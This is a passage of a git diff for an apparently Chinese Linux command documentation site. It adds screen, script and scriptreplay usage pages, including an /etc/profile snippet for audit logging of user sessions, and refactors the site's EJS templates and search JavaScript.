 screen启动后,会创建第一个窗口,也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。当然,也可以在screen命令之后加入你喜欢的参数,使之直接打开你指定的程序,例如:
 
-```
+```shell
 [root@TS-DEV ~]# screen vi david.txt
 ```
 
@@ -113,7 +113,7 @@ screen创建一个执行vi david.txt的单窗口会话,退出vi 将退出该
 
 打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口。如果使用文本终端,这个列表会列在屏幕左下角,如果使用X环境下的终端模拟器,这个列表会列在标题栏里。窗口列表的样子一般是这样:
 
-```
+```shell
 0$ bash  1-$ bash  2*$ bash  
 ```
 
@@ -125,7 +125,7 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合,
 
 你可以不中断screen窗口中程序的运行而暂时断开(detach)screen会话,并在随后时间重新连接(attach)该会话,重新控制各窗口中运行的程序。例如,我们打开一个screen窗口编辑/tmp/david.txt文件:
 
-```
+```shell
 [root@TS-DEV ~]# screen vi /tmp/david.txt
 ```
 
@@ -133,19 +133,16 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合,
 
 暂时中断会话
 
-!
 
 半个小时之后回来了,找到该screen会话:
 
-```
+```shell
 [root@TS-DEV ~]# screen -ls
 ```
 
-!
-
 重新连接会话:
 
-```
+```shell
 [root@TS-DEV ~]# screen -r 12865
 ```
 
@@ -153,29 +150,46 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合,
 
 当然,如果你在另一台机器上没有分离一个Screen会话,就无从恢复会话了。这时可以使用下面命令强制将这个会话从它所在的终端分离,转移到新的终端上来:
 
-!
 
  **清除dead 会话** 
 
 如果由于某种原因其中一个会话死掉了(例如人为杀掉该会话),这时screen -list会显示该会话为dead状态。使用screen -wipe命令清除该会话:
 
-!
 
- **关闭或杀死窗口** 
+ **关闭或杀死一个Screen会话** 
 
-正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用C-a k,这个快捷键杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。
+正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用`ctrl`+`a` 键,然后按下`k`键,最后当提示你是否要杀死这个会话时按下`y`键,这个快捷键会杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。
 
 如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。
 
 除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多,包括分屏可以输入split等,这也是实现Screen功能的一个途径,不过个人认为还是快捷键比较方便些。
 
-### screen 高级应用   
+此外,这里再介绍另外一种快速杀死一个Screen会话的命令:
+
+```shell
+[root@TS-DEV ~]# screen -ls   #列出存在的会话
+[root@TS-DEV ~]# screen -XS "会话id或者名称" quit
+```
+
+**示例:**
+
+```shell
+[root@TS-DEV ~]# screen -ls
+There are screens on:
+	11235.test	(01/25/2021 03:35:31 PM)	(Detached)
+1 Sockets in /run/screen/S-root.
+[root@TS-DEV ~]# screen -XS 11235 quit
+#或者
+[root@TS-DEV ~]# screen -XS test quit
+```
+
+###  screen 高级应用 
 
  **会话共享** 
 
 还有一种比较好玩的会话恢复,可以实现会话共享。假设你在和朋友在不同地点以相同用户登录一台机器,然后你创建一个screen会话,你朋友可以在他的终端上命令:
 
-```
+```shell
 [root@TS-DEV ~]# screen -x
 ```
 
@@ -191,7 +205,7 @@ Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输
 
 在Screen会话之外,可以通过screen命令操作一个Screen会话,这也为使用Screen作为脚本程序增加了便利。关于Screen在脚本中的应用超出了入门的范围,这里只看一个例子,体会一下在会话之外对Screen的操作:
 
-```
+```shell
 [root@TS-DEV ~]# screen -S sandy -X screen ping www.baidu.com
 ```
 
@@ -203,15 +217,12 @@ Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输
 
 可以用C-a X快捷键关闭当前焦点所在的屏幕区块,也可以用C-a Q关闭除当前区块之外其他的所有区块。关闭的区块中的窗口并不会关闭,还可以通过窗口切换找到它。
 
-!
-
  **C/P模式和操作** 
 
 screen的另一个很强大的功能就是可以在不同窗口之间进行复制粘贴了。使用快捷键C-a 或者C-a [可以进入copy/paste模式,这个模式下可以像在vi中一样移动光标,并可以使用空格键设置标记。其实在这个模式下有很多类似vi的操作,譬如使用/进行搜索,使用y快速标记一行,使用w快速标记一个单词等。关于C/P模式下的高级操作,其文档的这一部分有比较详细的说明。
 
 一般情况下,可以移动光标到指定位置,按下空格设置一个开头标记,然后移动光标到结尾位置,按下空格设置第二个标记,同时会将两个标记之间的部分储存在copy/paste buffer中,并退出copy/paste模式。在正常模式下,可以使用快捷键C-a ]将储存在buffer中的内容粘贴到当前窗口。
 
-!
 
  **更多screen功能** 
 
@@ -220,4 +231,3 @@ screen的另一个很强大的功能就是可以在不同窗口之间进行复
 以多用户功能为例,screen默认是以单用户模式运行的,你需要在配置文件中指定multiuser on 来打开多用户模式,通过acl*(acladd,acldel,aclchg...)命令,你可以灵活配置其他用户访问你的screen会话。更多配置文件内容请参考screen的man页。
 
 
-
\ No newline at end of file
diff --git a/command/script.md b/command/script.md
new file mode 100644
index 00000000000..9ed0290c31e
--- /dev/null
+++ b/command/script.md
@@ -0,0 +1,120 @@
+script
+===
+
+记录终端会话的所有操作
+
+## 补充说明
+
+**script** 用于在终端会话中,记录用户的所有操作和命令的输出信息。简而言之,记录终端会话发生的一切信息,如同一台终端录像机。例如,用户在输入某条命令时,字符的键入和删除也都会被记录。用户在终端的所有操作、终端的回显等信息会被以 `raw` 格式存储在日志文件,称为终端数据文件。命令的时间信息会被单独以另一种结构储存为日志文件,称为时间日志文件。使用命令`exit`或者快捷键`Ctrl + D`停止记录。
+
+
+###  语法
+
+```shell
+script(选项)(参数)
+```
+
+###  选项
+
+```shell
+-a, --append              # 对终端会话的操作信息,以追加方式写入文件(保留原文件内容)
+-c, --command command     # 只运行 command 命令而不打开交互终端。相当于开启 script ,执行 command ,再退出 script
+                          # command 可以是任意能够在终端会话执行的命令
+-e, --return              # 返回子进程的退出状态码
+-f, --flush               # 每次终端的内容发生变动,立马写入日志文件
+--force                   # 允许默认输出终端数据文件为符号链接
+-o, --output-limit size   # 限制终端数据文件和时间日志文件的大小,当文件大小达到此限制就会退出子进程
+                          # size 的单位可以设置为:KiB(=1024)、KB(=1000)、MiB(1024*1024)、MB(=1000*1000)
+                          # 同理还支持 GiB TiB PiB EiB ZiB YiB GB TB PB EB ZB YB
+-q, --quiet               # 安静模式。启动和退出script命令不显示任何提示
+-t[file], --timing[=file] # 输出时间日志信息到标准错误(stderr)或者文件
+-V, --version             # 显示版本信息并退出
+-h, --help                # 显示帮助文本并退出
+```
+
+###  参数
+
+* 终端数据文件:设置存储终端数据信息的文件名称
+
+###  实例
+
+```shell
+script                             # 开启记录,默认会在当前目录创建名称为 typescript 的文件来保存终端数据文件
+script command.log                 # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
+script -t 2>time.file command.log  # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
+                                   # 在当前目录创建名称为 time.file 的文件来保存时间日志文件
+```
+
+ **以追加模式记录终端信息** 
+
+```shell
+zfb@localhost:~$ script -t 2>time.file -a -f command.log
+Script started, file is command.log
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
+-rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
+-rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+Script done, file is command.log
+zfb@localhost:~$
+```
+
+然后,用户可以查看终端数据文件,使用方法如下  
+
+```shell
+zfb@localhost:~$ cat command.log
+Script started on 2020-12-23 20:48:25+08:00 [TERM="xterm-256color" TTY="/dev/pts/0" COLUMNS="75" LINES="30"]
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
+-rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
+-rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+
+Script done on 2020-12-23 20:49:04+08:00 [COMMAND_EXIT_CODE="0"]
+zfb@localhost:~$
+```
+
+其中,只有命令`cat command.log`是用户输入,其他均为自动呈现。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重现的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台机器上,都可以重现命令输入与终端回显。
+
+ **记录服务器用户会话操作** 
+
+以`root`身份编辑文件`/etc/profile`,在文件末尾追加以下内容
+
+```bash
+if [ $UID -ge 0 ]
+then
+    exec /usr/bin/script -t 2>/var/log/script-records/$USER-$UID-`date +%Y%m%d`.time -a -f -q /var/log/script-records/$USER-$UID-`date +%Y%m%d`.log
+fi
+```
+
+然后再以`root`身份创建文件夹用于存储服务器上的各个用户在终端的所有操作信息
+
+```bash
+sudo mkdir -p /var/log/script-records/
+sudo chmod 733 /var/log/script-records/
+```
+
+最后,执行命令`source /etc/profile`即可。任意用户(`UID ≥ 0`)在终端执行的所有操作都会被安静地记录下来,以天为单位存储。
+
+
+
diff --git a/command/scriptreplay.md b/command/scriptreplay.md
new file mode 100644
index 00000000000..1715de3326f
--- /dev/null
+++ b/command/scriptreplay.md
@@ -0,0 +1,93 @@
+scriptreplay
+===
+
+重新播放终端会话的所有操作
+
+## 补充说明
+
+**scriptreplay** 用于在终端中,根据 `script` 命令记录的终端数据文件和时间日志文件,重现当时用户的所有操作和命令的输出信息。简而言之,重现播放当时终端会话发生的一切信息,而不是重新运行一遍命令。例如,用户当时在输入某条命令时,字符的键入和删除也都会被重现。非常适合用于教程演示场合。而且,在机器 A 上面使用 `script` 命令记录终端操作,可以在机器 B 上面使用 `scriptreplay` 命令重新播放。
+
+
+###  语法
+
+```shell
+scriptreplay [options] [-t] timingfile [typescript [divisor]]
+```
+
+###  选项
+
+```shell
+-t, --timing file         # 记录时间日志的文件名称
+-s, --typescript file     # 记录终端数据信息的日志文件名称
+-d, --divisor number      # 表示倍速播放,把时间日志文件记录的时间间隔都除以 number
+                          # -d 2 表示播放速度是原始输入单条命令的速度的两倍,-d 0.1 表示播放单条命令的速度减慢 10 倍
+-m, --maxdelay number     # 表示命令之间的最大延迟时间(单位是秒)
+                          # -m 2 表示 command.log 中存放的两条命令之间的间隔时间如果大于两秒,则按两秒执行播放
+-V, --version             # 显示版本信息并退出
+-h, --help                # 显示帮助文本并退出
+```
+
+###  参数
+
+* 时间日志文件:存储时间日志信息的文件名称
+* 终端数据文件:存储终端数据信息的文件名称
+
+###  实例
+
+```shell
+# 重新播放终端内容,默认第一个参数是时间日志,第二个参数是终端数据文件
+scriptreplay time.file command.log
+# 重新播放终端内容,播放快进速度为 1 ,命令之间最大延时为 2 秒
+scriptreplay -d 1 -m 2 -t time.file -s command.log
+```
+
+ **记录终端内容到文件** 
+
+```shell
+zfb@localhost:~$ script -t 2>time.file -a -f command.log
+Script started, file is command.log
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
+-rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
+-rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+Script done, file is command.log
+zfb@localhost:~$
+```
+
+ **重新播放终端内容** 
+
+```shell
+zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log
+zfb@localhost:~$ echo "hello, world"
+hello, world
+zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
+2020-12-23 20:48:46
+zfb@localhost:~$ echo "Bye"
+Bye
+zfb@localhost:~$ ls -al
+total 20
+drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
+drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
+-rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
+-rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
+-rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
+-rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
+zfb@localhost:~$ exit
+
+zfb@localhost:~$
+```
+
+其中,只有命令`scriptreplay -d 1 -m 2 -t time.file -s command.log`是用户输入,其他均为自动呈现(且视觉效果与真实用户的操作一致)。通过查看上面输出的时间`2020-12-23 20:48:46`,可以证明,这是重新播放当时的记录,而非重新执行一遍命令。也就是说,可以把`time.file`和`command.log`文件移动到任意一台支持`scriptreplay`命令的机器上,都可以动态重现命令输入与终端回显。
+
+
diff --git a/command/sed.md b/command/sed.md
index 59dc7a42266..416c271f25e 100644
--- a/command/sed.md
+++ b/command/sed.md
@@ -1,397 +1,479 @@
-sed
-===
-
-功能强大的流式文本编辑器
-
-## 补充说明
-
-**sed** 是一种流编辑器,它是文本处理中非常中的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。
-
-## sed的选项、命令、替换标记  
-
- **命令格式** 
-
-```
-sed [options] 'command' file(s)
-sed [options] -f scriptfile file(s)
-```
-
-### 选项  
-
-```
--e
 
 
 
-<%- include('footer',{type: "list"}); %>
\ No newline at end of file
+<%-mdhtml%>
+
+
+<%- include('widget/footer',{type: "list"}); %>
+<%- include('partial/footer'); %>
\ No newline at end of file
diff --git a/template/footer.ejs b/template/footer.ejs
deleted file mode 100644
index 35c68d9e9a5..00000000000
--- a/template/footer.ejs
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
\ No newline at end of file
diff --git a/template/hot.ejs b/template/hot.ejs
index bb2f0e68b3d..73d79b5c364 100644
--- a/template/hot.ejs
+++ b/template/hot.ejs
@@ -1,7 +1,5 @@
-
-<%- include('header',{src:""}); %>
-<%- include('search',{type: "list"}); %>
-
+<%- include('partial/header'); %>
+<%- include('widget/search',{type: "list"}); %>
 
    <%describe.arr.forEach(function(page,item){%> @@ -9,5 +7,5 @@ <%});%>
- -<%- include('footer',{type: 'list'}); %> \ No newline at end of file +<%- include('widget/footer',{type: "list"}); %> +<%- include('partial/footer'); %> diff --git a/template/img/banner.svg b/template/img/banner.svg new file mode 100644 index 00000000000..067fd6efce7 --- /dev/null +++ b/template/img/banner.svg @@ -0,0 +1,3 @@ + + + diff --git a/template/index.ejs b/template/index.ejs index 184166019bb..3095891f069 100644 --- a/template/index.ejs +++ b/template/index.ejs @@ -1,4 +1,6 @@ - -<%- include('header'); %> -<%- include('search',{type: "index"}); %> -<%- include('footer',{type: "index"}); %> \ No newline at end of file +<%- include('partial/header'); %> +
+<%- include('widget/search',{type: "home"}); %> +<%- include('widget/footer',{type: "home"}); %> +
+<%- include('partial/footer'); %> \ No newline at end of file diff --git a/template/js/copy-to-clipboard.js b/template/js/copy-to-clipboard.js new file mode 100644 index 00000000000..20345e0759f --- /dev/null +++ b/template/js/copy-to-clipboard.js @@ -0,0 +1,11 @@ +/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wong | https://github.com/uiwjs/copy-to-clipboard.git */ +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).copyTextToClipboard=t()}(this,(function(){"use strict";return function(e,t){const o=document.createElement("textarea");o.value=e,o.setAttribute("readonly",""),o.style={position:"absolute",left:"-9999px"},document.body.appendChild(o);const n=document.getSelection().rangeCount>0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); + +function copied(target, str) { + target.classList.add('active'); + copyTextToClipboard(target.dataset.code, function() { + setTimeout(() => { + target.classList.remove('active'); + }, 2000); + }); +} diff --git a/template/js/index.js b/template/js/index.js index b10bce75226..0bd462949d6 100644 --- a/template/js/index.js +++ b/template/js/index.js @@ -1,212 +1,267 @@ -(function(){ - function Commands(){ - var $$ = this.$$; - this.commands = linux_commands || []; - this.elm_query = $$('query'); - this.elm_btn = $$('search_btn'); - this.elm_result = $$('result'); - this.elm_search_result = $$('search_list_result'); - - // 获取根路径 - this.root_path = (function(){ - var elm_path = $$('current_path'); - var url = window.location.origin+window.location.pathname; - return elm_path?url.replace(elm_path.value,'').replace(/\/$/,''):''; - })(); +/** +* 对数组进行排序,作为 Array.sort() 回调函数使用 +*/ +const sortArray = function (a, b) { + return a.nIdx - b.nIdx; +} +/** + * 判断 indexOf() 是否捕获到了搜索词 + * @returns {boolean} 是否捕获 + */ +function indexOfCatch(a) { + return a > -1 +} +(function () { + class Commands { + query = '' + query_size = 5 //搜索框结果显示5条 + page_size = 50 //每页显示20条 + $$(id) { + return document.getElementById(id) + } + constructor() { + function $$(id) { + return document.getElementById(id) + } + this.commands = linux_commands || []; + this.elm_query = $$('query'); + this.elm_btn = $$('search_btn'); + this.elm_result = $$('result'); + this.elm_search_result = $$('search_list_result'); - this.query = ''; // - this.query_size = 5; //搜索框结果显示5条 - this.page_size = 50; //每页显示20条 + // 获取根路径 + this.root_path = (function () { + let elm_path = $$('current_path'); + let url = window.location.origin + window.location.pathname; + return elm_path ? url.replace(/\/(c\/)?(\w|-)+\.html/, '').replace(/\/$/, '') : ''; + })(); - this.init() - this.goToIndex() + this.init(); + this.goToIndex(); } + /** + * 前往主页 + * @memberof Commands + */ + goToIndex() { + let elma = document.getElementsByTagName('A'); + for (let i = 0; i < elma.length; i++) { + if (elma[i].pathname === '/' && !/^https?:/i.test(elma[i].protocol)) { + elma[i].href = this.root_path + '/'; + } + } + } + /** + * 绑定事件 + * 该函数有兼容性处理 + * @param {HTMLElement} element 需要绑定事件的元素 + * @param {*} type 需要绑定的类型 + * @param {*} callback 事件触发回调 + * @memberof Commands + */ + bindEvent(element, type, callback) { + if (element.addEventListener) { + element.addEventListener(type, callback, false); + } else if (element.attachEvent) { + element.attachEvent('on' + type, callback); + } + } + isSreachIndexOF(oldstr, kw) { + if (!oldstr || !kw) return -1; + return oldstr.toLowerCase().indexOf(kw.toLowerCase()); + } + //获取URL上面的参数 + getQueryString(name) { + let reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + let r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/, '')).match(reg); + if (r != null) return unescape(r[2]); return null; + } + /** + * 通过 window.history 设置地址栏的地址 + * @memberof Commands + */ + pushState() { + if (window.history && window.history.pushState) + if (this.query) { + history.pushState({}, "linux_commands", `#!kw=${this.query}`) + } else { + history.pushState({}, "linux_commands", window.location.pathname); + } + } + /** + * 一个简单的模板函数 + * + * @param {string} str 传入的 HTML 模板 + * @param {object} obj 一个对象,用于放置在 HTML 模板中 + * @return {string} 经过处理的 HTML 模板 + * @memberof Commands + */ + simple(str, obj) { + return str.replace(/\$\w+\$/gi, function (matchs) { + let returns = obj[matchs.replace(/\$/g, "")]; + return typeof returns === "undefined" ? "" : returns; + }) + } + /**创建 keyworlds HTML + * @param {*} json 根据这段 JSON 生成 + * @param {*} keywolds 关键字 + * @param {*} islist 表示这是否是一个列表 + * @return {*} 返回一个 HTML 字符串 + */ + createKeyworldsHTML(json, keywolds, islist) { + const listHTML = '

' + const replaceHTML = `$1` + let name = json.n + let des = json.d + let reg = new RegExp(`(${keywolds})`, "ig") + if (keywolds) { + name = json.n.replace(reg, replaceHTML); + des = json.d.replace(reg, replaceHTML) || ''; + } + let rootp = this.root_path.replace(/\/$/, ''); + const str = `$name$ - $des$${islist ? listHTML : ''}` + return this.simple(str, { + name, + url: json.p, + des + }); + } + /**搜索结果 + * @param {boolean} islist 是否为列表*/ + searchResult(islist = false) { + let arr = this.commands + const self = this + let page_size = arr.length + let arrResultHTML = [] + const show_list_count = islist ? this.page_size : this.query_size; + let nameArr = [], desArr = []; + if (indexOfCatch(arr && arr.length && toString.call(arr).indexOf('Array'))) { + for (let i = 0; i < page_size; i++) { + if (!arr[i]) break; + const nIdx = self.isSreachIndexOF(arr[i].n, self.query); + const dIdx = self.isSreachIndexOF(arr[i].d, self.query); + let json = arr[i]; + if (indexOfCatch(nIdx)) { + json.nIdx = nIdx; + nameArr.push(json); + } else if (indexOfCatch(dIdx)) { + json.dIdx = dIdx; + desArr.push(json); + } + } + } + nameArr.sort(sortArray); + desArr.sort(sortArray); - Commands.prototype = { - $$:function(id){ - return document.getElementById(id) - }, - goToIndex:function(){ - var elma = document.getElementsByTagName('A'); - for (var i = 0; i < elma.length; i++) { - if(elma[i].pathname==='/') elma[i].href = this.root_path+'/'; - } - }, - bindEvent:function(elm,type,handle){ - if (elm.addEventListener) { - elm.addEventListener(type, handle, false); - } else if (elm.attachEvent) { - elm.attachEvent('on'+type, handle); - } - }, - isSreachIndexOF:function(oldstr,kw){ - var istrue = false; - if(oldstr&&toString.call(oldstr) === '[object Array]'){ - for (var i = 0; i < oldstr.length; i++) { - oldstr[i].toLowerCase()===kw.toLowerCase()?istrue=true:null; - } - return istrue; - } - if(!oldstr || !kw) return false; - return oldstr.toLowerCase().indexOf(kw.toLowerCase()) > -1 ? true : false; - }, - //获取URL上面的参数 - getQueryString:function(name) { - var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); - var r = decodeURIComponent(window.location.hash.replace(/^(\#\!|\#)/,'')).match(reg); - if (r != null) return unescape(r[2]); return null; - }, - pushState:function(){ - if(window.history&&window.history.pushState) - this.query ? history.pushState({},"linux_commands","#!kw="+this.query): - history.pushState({},"linux_commands",window.location.pathname); - }, - //简单模版 - simple:function(str,obj){ - return str.replace(/\$\w+\$/gi, function(matchs) { - var returns = obj[matchs.replace(/\$/g, "")]; - return typeof returns === "undefined" ? "" : returns; - }) - }, - createKeyworldsHTML:function(json,keywolds,islist){ - var name = json.n,des = json.d,self = this, - reg = new RegExp("("+keywolds+")","ig"), - str = ''; - if(keywolds){ - name = json.n.replace(reg,''+"$1"+""); - des = json.d.replace(reg,''+"$1"+"") || ''; - } - - var rootp = this.root_path.replace(/\/$/,''); - str = islist ? '$name$ - $des$

' : '$name$ - $des$'; - return this.simple(str,{ - name:name, - url:json.p, - des:des - }); - }, - /** - * [searchResult ] - * @param {[type]} islist [是否为列表] - */ - searchResult:function(islist){ - var arr = this.commands,self = this,i=0, - page_size = arr.length, - arrResultHTML = [], - show_list_count = islist?this.page_size:this.query_size; - if(arr&&arr.length&&toString.call(arr).indexOf('Array')>-1){ - var count = 0 - for (; i < page_size; i++) { - if(!arr[i]) break; - if(self.isSreachIndexOF(arr[i].n,self.query) - || self.isSreachIndexOF(arr[i].d,self.query) - ){ - if(count < show_list_count){ - arrResultHTML.push(self.createKeyworldsHTML(arr[i],self.query,islist)); - ++count; - } - } - } - } - var elm = islist?this.elm_search_result:this.elm_result; - elm.innerHTML=''; - for (var i = 0; i < arrResultHTML.length; i++) { - var myLi = document.createElement("LI"); - myLi.innerHTML = arrResultHTML[i]; - elm.appendChild(myLi); - } - if(arrResultHTML.length === 0){ - var myLi = document.createElement("LI"); - myLi.innerHTML = ''+this.query?'请尝试输入一些字符,进行搜索!'+'':'没有搜索到任何内容,请尝试输入其它字符!'; - elm.appendChild(myLi); - } - }, - // 选中搜索结果效果 - selectedResult:function(type){ - var items = this.elm_result.children; - var index = 0; - for(var i=0;i < items.length;i++){ - if(items[i].className == 'ok'){ - items[i].className = ''; - if(type == 'up') index = i-1; - else index = i+1; - break; - }; - }; - if(items[index]) items[index].className = 'ok'; - }, - // 是否选中搜索结果 - isSelectedResult:function(){ - var items = this.elm_result.children; - var isSel = false; - for(var i=0;i < items.length;i++){ - if(items[i].className == 'ok'){ - isSel = items[i]; - break; - }; - }; - return isSel; - }, - init:function(){ - var self = this; - var kw = self.getQueryString('kw'); - var timer = null - this.elm_query.value = kw; - this.query = kw||''; - if(this.elm_search_result) self.searchResult(true); - this.bindEvent(this.elm_query,'input',function(e){ - self.query = e.target.value; - - self.pushState() - if(self.query){ - self.searchResult(); - }else{ - self.elm_result.style.display = 'none'; - } - if(!self.elm_search_result){ - self.elm_result.style.display = self.query?'block':'none'; - }else{ - self.elm_btn.click(); - } - }) - this.bindEvent(this.elm_btn,'click',function(e){ - self.elm_result.style.display = 'none'; - if(self.elm_search_result) self.searchResult(true); - else{ - window.location.href = self.root_path + '/list.html#!kw='+self.query; - } - }) - this.bindEvent(this.elm_query,'focus',function(e){ - self.searchResult(); - if(self.query)self.elm_result.style.display = 'block'; - }) - this.bindEvent(this.elm_query,'blur',function(e){ - timer = setTimeout(function(){ - self.elm_result.style.display = 'none'; - },300) - }) - // 输入Enter键 - this.bindEvent(document,'keyup',function(e){ - if(e.key =='Enter'){ - var item = self.isSelectedResult(); - if(!item) return self.elm_btn.click(); - if(item.children[0]) { - item.children[0].click(); - } - }else if(e.keyCode === 40){ - // ArrowDown - self.selectedResult() - }else if(e.keyCode === 38){ - // ArrowUp - self.selectedResult("up"); - } - }) + const resultData = nameArr.concat(desArr).slice(0, show_list_count); + resultData.forEach(a => { + arrResultHTML.push(self.createKeyworldsHTML(a, self.query, islist)); + }) - if(kw) self.searchResult(); + /** @type {HTMLElement} */ + let elm = islist ? this.elm_search_result : this.elm_result; + elm.innerHTML = '' + arrResultHTML.forEach((result, i) => { + const el = document.createElement('li') + el.innerHTML = result + elm.appendChild(el); + }) + if (!arrResultHTML.length) { + const noResultTipHTML = document.createElement("LI"); + const tipSpan = document.createElement("span") + const nullQueryStringTips = `请尝试输入一些字符,进行搜索!` + const undefinedQueryTips = `没有搜索到任何内容,请尝试输入其它字符!` + tipSpan.innerText = this.query ? undefinedQueryTips : nullQueryStringTips + noResultTipHTML.appendChild(tipSpan); + elm.appendChild(noResultTipHTML); + } + } + /** + * 移动搜索结果的光标 + * @param {"up"|"down"} type 触发事件类型 + * @memberof Commands + */ + selectedResult(type) { + /** @type {Array} */ + let items = this.elm_result.children; + let index = 0; + for (var i = 0; i < items.length; i++) { + if (items[i].className == 'ok') { + items[i].className = ''; + if (type == 'up') index = i - 1; + else index = i + 1; + break; + }; + }; + if (items[index]) items[index].className = 'ok'; + } + // 是否选中搜索结果 + isSelectedResult() { + let items = this.elm_result.children; + let isSel = false; + for (let i = 0; i < items.length; i++) { + if (items[i].className == 'ok') { + isSel = items[i]; + break; + }; + }; + return isSel; + } + init() { + /** + * 设定搜索结果的 CSS display 属性 + * + * @param {string} [inputDisplay='none'] + */ + function setdisplay(inputDisplay) { + self.elm_result.style.display = inputDisplay || 'none' + } + let self = this; + let kw = self.getQueryString('kw'); + this.elm_query.value = kw; + this.query = kw || ''; + if (this.elm_search_result) self.searchResult(true); + this.bindEvent(this.elm_query, 'input', function (e) { + self.query = e.target.value; + self.pushState() + if (self.query) { + self.searchResult(); + } else { + setdisplay() + } + if (!self.elm_search_result) { + setdisplay(self.query ? 'block' : 'none') + } else { + self.elm_btn.click(); + } + }) + this.bindEvent(this.elm_btn, 'click', function (e) { + setdisplay(); + if (self.elm_search_result) self.searchResult(true); + else window.location.href = self.root_path + '/list.html#!kw=' + self.query; + }) + this.bindEvent(this.elm_query, 'focus', function (e) { + self.searchResult(); + if (self.query) setdisplay('block'); + }) + this.bindEvent(this.elm_query, 'blur', function (e) { + setTimeout(function () { + setdisplay(); + }, 300) + }) + // 输入Enter键 + this.bindEvent(document, 'keyup', function (e) { + if (e.keyCode === 40) self.selectedResult("down"); + if (e.keyCode === 38) self.selectedResult("up"); + if (e.key == 'Enter') { + let item = self.isSelectedResult(); + if (!item) return self.elm_btn.click(); + if (item.children[0]) item.children[0].click(); } + }) + if (kw) self.searchResult(); } - - new Commands() - + } + new Commands() })() \ No newline at end of file diff --git a/template/list.ejs b/template/list.ejs index 3b702af5a3d..7d927bcbc38 100644 --- a/template/list.ejs +++ b/template/list.ejs @@ -1,7 +1,5 @@ - -<%- 